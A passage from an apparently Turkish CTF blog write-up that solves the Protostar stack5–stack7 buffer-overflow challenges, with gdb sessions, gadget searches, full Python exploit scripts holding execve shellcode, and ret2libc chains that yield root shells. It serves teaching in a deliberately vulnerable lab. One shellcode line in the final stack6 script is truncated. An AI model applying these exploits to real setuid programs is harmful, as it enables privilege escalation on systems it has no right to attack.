       0x8048303 <__libc_start_main@plt+11> jmp    0x80482c8
............................................................................................
............................................................................................

gets fonksiyonu alanına geldiğinde program durdu. Bu noktada programın durumunu inceleyebilirsiniz. Ben bir adım daha ilerlemek istiyorum. Bunun için n komutunu kullanacağım. Ardından gets fonksiyonu çalışacağı için benden girdi steyecek. O girdiyide verip tekrar programı inceliyorum.

gef➤  n
asdfghjkl

───────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffce40  →  "asdfghjkl"
$ebx   : 0x0       
$ecx   : 0xf7fab580  →  0xfbad2288
$edx   : 0xffffce49  →  0xc4ffff00
$esp   : 0xffffce30  →  0xffffce40  →  "asdfghjkl"
$ebp   : 0xffffce88  →  0x00000000
$esi   : 0xf7fab000  →  0x001e9d6c
$edi   : 0xf7fab000  →  0x001e9d6c
$eip   : 0x080483d9  →  <main+21> leave 
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063

Bu noktada program tekrardan duracak. Bu kusumda registerları incelersek eax registerinin bizim verdiğimiz girdiyi gösterdiğini çok rahat bir şekilde görebiliriz. Eğer biz bir şekilde eax registerini fonksiyon gibi çağırabilirsek bizim stack üzerine koyduğumuz shellkodda çalışacaktır.

Ve dönüp gadgetlara tekrardan bakarsanız eax registerinin gösterdiği adresi fonksiyon gibi çağıran şu gadgeti göreceksiniz.

0x080483bf: call eax; 

Eğer biz bu gadgeti eip registerine yerleştirirsek shellkodumuz çalışacaktır. Deneyelimmi ???

$ python2 exploit.py | ./stack5
$

Bu şekilde çalıştırırsanız muhtemelen çalışmayacaktır. Peki neden? Normalde başarılı bir şekilde shellkodumuz çalışıyor fakat çalıştırdığımız shell hemen kapanıyor. Bunun kapanmasını engellememiz lazım. Bunun için cat komutunu kullanacağız. Nasıl mı?

$ (python2 exploit.py; cat) | ./stack5 
id
uid=1000(hello) gid=1000(hello) groups=1000(hello),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),138(docker)

Bu komut karışık gelmesin. exploit payloadını stack5 programına gönderdikten sonra cat komutu ile açılan shell in kapanmasını engelliyoruz. Hepsi bu kadar. Artık gets fonksiyonundan komut çalıştırmayı öğrendik. Full exploit kodunuda şuraya bırakayım.

#!/bin/python2
import struct

shellcode = b"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
call_eax = 0x080483bf # 0x080483bf: call eax;

payload  = b""
payload += shellcode
payload += b"a" * (76 - len(shellcode))
payload += struct.pack("I", call_eax)

print payload

Stack6

Bu soru diğer sorulardan farklı olarak bazı kısıtlamalar veriyor ve bu kısıtlamaları aşmamızı bekliyor.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Kaynak kodu incelediğimizde bazı farklılıklar görüyoruz. Öncelikle __builtin_return_address(0) isimli fonksiyon çağrılıyor. Bu fonksiyon parametre olarak "0" verildiği zaman bulunduğu fonksiyonun geri dönüş adresini döndürür. Hemen altındaki if kontrolünde ise bu değer bir kontrolden geçiriliyor. Eğer kontrol pozitif çıkarsa programı sonlandırıyor. Yani fonksiyonun geri dönüş adresine istediğimiz her değeri yazamayacağız.

Peki 0xbf000000 adreside ne. Bunu gdb ile inceleyelim.

UYARI: Bu programı protostarın sitesinden indirdiğiniz sanal makine üzerinde çalıştırın. Eğer kendi bilgisayarınızda çalıştırırsanız bellek adreslerinde göreceğiniz değerler değişecektir ve bu sorudaki kısıtlama ile hiç karşılaşmayabilirsiniz.

user@protostar:/opt/protostar/bin$ gdb stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) r
Starting program: /opt/protostar/bin/stack6 

Breakpoint 1, main (argc=1, argv=0xbffff754) at stack6/stack6.c:27
27	stack6/stack6.c: No such file or directory.
	in stack6/stack6.c
(gdb) info proc map
process 10196
cmdline = '/opt/protostar/bin/stack6'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000          0       /opt/protostar/bin/stack6
	 0x8049000  0x804a000     0x1000          0       /opt/protostar/bin/stack6
	0xb7e96000 0xb7e97000     0x1000          0        
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
	0xb7fd9000 0xb7fdc000     0x3000          0        
	0xb7fe0000 0xb7fe2000     0x2000          0        
	0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
	0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
	0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
	0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
	0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb)

Yukarıda info proc map komutuyla programın bellek adreslerini inceliyorum. Dikkat ederseniz terminal çıktısının sonunda stack adresini göreceksiniz. 0xbf... ile başlıyor. Yani program stacke atlamımızı engelliyor. Eğer biz stacke shellcode koyduğumuzda o shell kodu çalıştıramayacağız. Yada bu korumayı bypass edip çalıştıracağız.

Öncelikle stack boyutunu öğrenelim. Bu işlem sırasında kendi bilgisayarınızı kullanabilirsiniz. Ama exploit kodunu protostar makinesinde çalıştırın.

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/hello/CTF/protostar/stack6/stack6 
input path please: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
got path aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaauaaaraaasaaataaauaaavaaawaaaxaaayaaa
..........................................
..........................................
gef➤  pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 80 (little-endian search) likely
[+] Found at offset 77 (big-endian search)

Buffer boyutumuz 80. Yani 80 byttan sonraki 4 byte eip registerinin değeri olacak.

O zaman exploit kodumuzu oluşturmaya başlayalım. Bu exploitte de yukarıdaki shellkodu kullanacağım.

from struct import pack

shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = ""
payload += shellcode
payload += "a" * (80 - len(shellcode))

Bu andan itibaren eax registerine koyacağımız değeri bulmaya geliyor. Ben bu nokrada da ropper aracı ile bir gadget bulacağım.

Gatgeti bulmadan önce ret komutu ile ilgili bilgi vermek istiyorum. Bu makine komutu bir fonksiyondan dönmeyi sağlar. Eğer getpath fonksiyonunu disassamble edip incelerseniz son komutun ret olduğunu görürsünüz.

Bu gilgiyi verdikten sonra internette bir writeupdan gördüğüm çok güzel bir tekniği sizlerle paylaşmak istiyorum. Normalde bir bu soruda stackteki bir yere atlayamıyorduk. Eğer biz fonksiyonun dönüş adresine bir tane ret gadgeti koyarsak ne olur. Fonksiyon 2 defa geri döner. Bizde 2. defa geri dönerken stacke atlayabiliriz.

Hemen gadget lara bakalım.

$ ropper -f stack6
........................
0x0804833e: ret;
........................

Bu gadgeti payloada ekliyoruz ve hemen ardından dönüş adresini akliyoruz. Exploit şu hali aldı.

from struct import pack

shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = ""
payload += shellcode
payload += "a" * (80 - len(shellcode))
payload += pack("I", 0x0804833e) # ret
payload += "bbbb"

Ve karşı makinede gdb ile çalıştırıyorum.

(gdb) r < /tmp/input 
Starting program: /opt/protostar/bin/stack6 < /tmp/input
input path please: got path 1��Ph//shh/bin��PS��
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa>aaaaaaaaaaaa>bbbb

Program received signal SIGSEGV, Segmentation fault.
0x62626262 in ?? ()

Gördüğünüz üzere eip yi başarılı bir şekilde değiştirdik. Şimdi sıra geldi eip yerine shellkodumuzun adresini vermeye. Shellkodumuzun adresini bulmak için gdb kullanabiliriz. Ben gets fonksiyonunun çağrıldığı yere breakpoint koyuyorum.

(gdb) break *0x080484aa
Breakpoint 1 at 0x80484aa: file stack6/stack6.c, line 13.
(gdb) r
Starting program: /opt/protostar/bin/stack6 
input path please: 
Breakpoint 1, 0x080484aa in getpath () at stack6/stack6.c:13
13	stack6/stack6.c: No such file or directory.
	in stack6/stack6.c
(gdb) n
asdfghjk
15	in stack6/stack6.c
(gdb) info registers
eax            0xbffff64c	-1073744308
ecx            0xbffff64c	-1073744308
..........................................

Programı çalıştırdım. gets fonksiyonu çalıştıktan sonra input olarak "asdfghjk" giriyorum. Hatırlarsanız gets fonksiyonunda eax registeri bellekte yazılan verinin başlangıç adresini tutuyordu. eax regiterinin adresini gdb ile okuyorum.

(gdb) x/s 0xbffff64c
0xbffff64c:	 "asdfghjk"

Buradaki x/s string (karakter dizisi) bir veriyi okumak istediğimizi belirtiyor. Ve çıktıda ise kendi girdiğim veriyi görüyorum. Demekki shellkodumuz bu adresten başlayacak. Exploit kodunu şu şekilde güncelliyorum.

from struct import pack

shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = ""
payload += shellcode
payload += "a" * (80 - len(shellcode))
payload += pack("I", 0x0804833e) # ret
payload += pack("I", 0xbffff64c)

print payload

Şimdi bu payload ile programı çalıştırıyorum. Önce exploit çıktısını bir dosyaya kaydediyorum ardından gdb den programa.

(gdb) r < /tmp/input
Starting program: /opt/protostar/bin/stack6 < /tmp/input
input path please: 
Breakpoint 1, 0x080484aa in getpath () at stack6/stack6.c:13
13	in stack6/stack6.c
(gdb) c
Continuing.
got path 1��Ph//shh/bin��PS��
                             aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa>aaaaaaaaaaaa>L���
Executing new program: /bin/dash

Program exited normally.

Dikkat ederseniz exploitimiz /bin/dash programını başarıyla çalıştırdı. Sıra geldi gdb den çıkıp exploiti denemeye.

user@protostar:/opt/protostar/bin$ (python /tmp/stack6.py; cat) | ./stack6
input path please: got path 1��Ph//shh/bin��PS��
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa>aaaaaaaaaaaa>L���
id
Illegal instruction

Ne? Illegal instruction mı? Neden patladı bu şimdi.

İnternetten biraz araştırmanın ardından sorunun ne olduğunu buldum. Şöyle açıklayayım. Bir programı dgb ile çalıştırmak ile gdb dığında çalıştırmak arasında bazı farklılıklar var. Mesela gdb breakpoint gibi özellikleri sağlayabilmek için programa birtakım veriler ekliyor. Bu nedenden ötürü bizim yazdığımız stack adresleri gdb içinde ve gdb dışında farklı oluyor. Bizim örneğimizde eax registerinden bulduğumuz adres gdb dışında farklı bir değer olacak. Bu yüzden bum. Daha detaylı bilgi için size 2 tane line bırakıyorum.

  1. Link 1
  2. Link 2

Bu linklerinde yardımıyla exploit kodunda ufak bir kaç değişiklik yapacağım.

Öncelikle stack alanını doldurmak için kullandığımız "a" karakteri yerine "\x90" kullanacağız. Peki bunu neden yapıyoruz. Çünkü "\x90" yada 0x90 makine kodu olarak "nop" demektir. Bu kodun özelliği hiçbir şeydir. Yani bu makine kodu hiç bir şey yapmaz. İşlemci bu makine kodunu gördükten sonra hiçbirşey yapmadan sonraki komuta geçer. Peki bu bizim ne işimize yarayacak. Eğer biz shell kodumuzun tam adresini tutturamazsak bile 0x90 komutları bizim shell kodumuza kadar bir hata çıkmasını engelleyecek. Aksi halde Illegal instruction hatası alırdık.

Bu yüzden "a" karakteri yerine 0x90 ile exploit kodumu düzenliyorum. shell kodumun başına ve sonuna nop ekleyerek olası hataları en aza indirmeye çalışıyorum.

Şimdi gelelim stack adresine. Gdb bellek adresini değiştiriyor demiştim. Yukarıdaki koyduğum linklerden gdb nin yaklaşık olarak 96 byte kadar değiştirdiğini görebilirsiniz. O zaman exploit kodumu son haline getiriyorum.

from struct import pack

shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x$

payload = ""
payload += "\x90" * 20
payload += shellcode
payload += "\x90" * (80 - 20 - len(shellcode))
payload += pack("I", 0x0804833e)
payload += pack("I", 0xbffff64c + 96)

print payload

Ve sonunda:

user@protostar:/opt/protostar/bin$ (python /tmp/stack6.py; cat) | ./stack6
input path please: got path ��������������������1��Ph//shh/bin��PS��
        ��������������������>������������>����
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

Bu yöntem bu soruyu çözmek için en iyi yöntem değil. Hatta biraz kirli bir yöntem. Ayrıca bu soruyu birkaç farklı yöntemle çözebilirsiniz. Ben onları şimdikik atlıyorum. Size ödev olsun :)

Stack7

Ver son sorumuz. Bu sorudada return adresimiz kısıtlanmış. Bu seferki kısıtlama daha fazla.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

0xb ile başlayan hiç bir adresi kullanamıyoruz. Peki bu noktada ne yapacağız. Bir önceki soruda olduğu gibi bir yöntem uygulamayabiliriz. Fakat ben burada biraz daha farklı birşey uygulamak istiyorum. Bu yöntemin adı ret2libc.

Linux sistemlerde ortak ve yaygın olarak kullanılan fonksiyon ve değişkenleri kütüphanelerde saklarız. Bu sayede her binary dosyası bu fonksiyon ve sabitleri kendi içinde barındırması gerekmez. Ayrıca binary dosyalarımızın boyutlarıda bu saydede küçülür.

Şimdi stack7 dosyasında kullanılan harici programlara bakalım. Bu işlem için ldd isminde bir program kullanacağım.

user@protostar:/tmp$ ldd /opt/protostar/bin/stack7
	linux-gate.so.1 =>  (0xb7fe4000)
	libc.so.6 => /lib/libc.so.6 (0xb7e99000)
	/lib/ld-linux.so.2 (0xb7fe5000)

Çıktıyı incelersek programda 3 tane kütüphane kullanılıyor. Bunların içerisinden en önemlisi libc.so.6. Bu kütüphanenin içerisinde ihtiyacımız olan her şey var. system fonksiyonu gibi önemli foksiyonlar burada tanımlı. Ayrıca "/bin/sh" bi önemli stringler de bu dosya içinde hazırda bulunuyor.

Bellek kısıtlamasını aşmak için ret gadgetini kullanacağız. Ardından c dilindeki system fonksiyonunu çağıracağız ve parametre olarakta "/bin/sh" vereceğiz. Payloadımız yaklaşık olarak "buffer + ret + system + /bin/sh" olacak. O zaman başlayalım.

Öncelikle bufferı dolduruyorum ardından bellek kısıtlamasını aşmak için ret gadgetini eip ye yerleştiriyorum. gadgeti ropper ile bulabilirsiniz.

from struct import pack

ret = 0x08048362 # 0x08048362: ret;

payload  = ""
payload += "a" * 80
payload += pack("I", ret)

Bu noktada system fonksiyonunun adresine ihtiyacımız olacak. Gdb ile bu bilgiyi rahat bir şekilde öğrenebiliriz. gdb de programı çalıştırıp p system komutuyla fonksiyonun adresini yazdıralım.

user@protostar:/opt/protostar/bin$ gdb stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) b main
Breakpoint 1 at 0x804854b: file stack7/stack7.c, line 28.
(gdb) r
Starting program: /opt/protostar/bin/stack7 

Breakpoint 1, main (argc=1, argv=0xbffff754) at stack7/stack7.c:28
28	stack7/stack7.c: No such file or directory.
	in stack7/stack7.c
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

Görüldüğü üzere system fonksiyonu 0xb7ecffb0 adresinde. return adresine bu değeri yazmamız gerekiyor.

Şimdi ise "/bin/sh" stringinin adresini bulalım. Bu string libc içerisinde tanımlı. Tam yerini bulmak için ise strings isminde bir araç kullanacağız.

user@protostar:/tmp$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
 11f3bf /bin/sh

Yukarıdaki komutu açıklayalım.

  • -a bütün dosyayı taramamızı sağlar
  • -t x ise bulunan string libc içindeki konumunu hex olarak gösterir.
  • en son grep ile "/bin/sh" kısmını aratıyoruz.

"/bin/sh" libc içerisinde 0x11f3bf adresinde. Şimdide libc nin programımız içerisinde nereden başladığını bulalım. Gdb de info proc map ile bunu çok rahat bir şekilde bulabiliriz.

(gdb) info proc map
.........................................................................
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000          0       /opt/protostar/bin/stack7
	 0x8049000  0x804a000     0x1000          0       /opt/protostar/bin/stack7
.........................................................................
	0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
	0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
	0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
.........................................................................

Terminal çıktısından libc nin programımız içerisinde 0xb7e97000 den başladığını görebiliriz. Eğer libc 0xb7e97000 dan başlıyorsa ve "/bin/sh" libc de 0x11f3bf adresinde ise "/bin/sh" programımızda 0xb7e97000 + 0x11f3bf = 0xb7fb63bf adresinde olması gerekir. Basit toplama çıkarma :) Doğrumu hemen bakalım:

(gdb) x/s 0xb7fb63bf
0xb7fb63bf:	 "/bin/sh"

System fonksiyonunu "/bin/sh" parametresi ile çağırmak için hazırız. Fakat son bir şey daha kaldı. system fonksiyonu sonlandıktan sonra hangi adrese döneceğinide stacke eklememiz gerekiyor. 4 byte uzunluğunda herhangi bir değer girebilirsiniz. "aaaa" gibi. Bu önemli değil. Ben hata almak istemediğim için exit fonksiyonunun adresini gireceğim. gdb de p exit komutu ile adresi öğrenebilirsiniz.

Artık gerekli bütün bilgiye sahibiz.

from struct import pack

ret    = 0x08048362 # 0x08048362: ret;
system = 0xb7ecffb0
bin_sh = 0xb7fb63bf


payload  = ""
payload += "a" * 80
payload += pack("I", ret)
payload += pack("I", system)
payload += pack("I", 0xb7ec60c0) # exit system dönüş adresi
payload += pack("I", bin_sh)

print payload

Ve bum:

user@protostar:/opt/protostar/bin$ (python /tmp/s7.py; cat) | ./stack7
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaab����`췿c��
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
exit

Bu şekilde protostardaki tük stack sorularını bitirmiş olduk.

Son Sözler

Elimden geldiğince bildiklerini aktarmaya çalıştım. Umarım size faydalı olur. İlerleyen günlerde format string zafiyetleri ile devam edeceğiz.

Herhangi bir sorunuz olursa bana twitter dan ulaşabilirsiniz.

all tags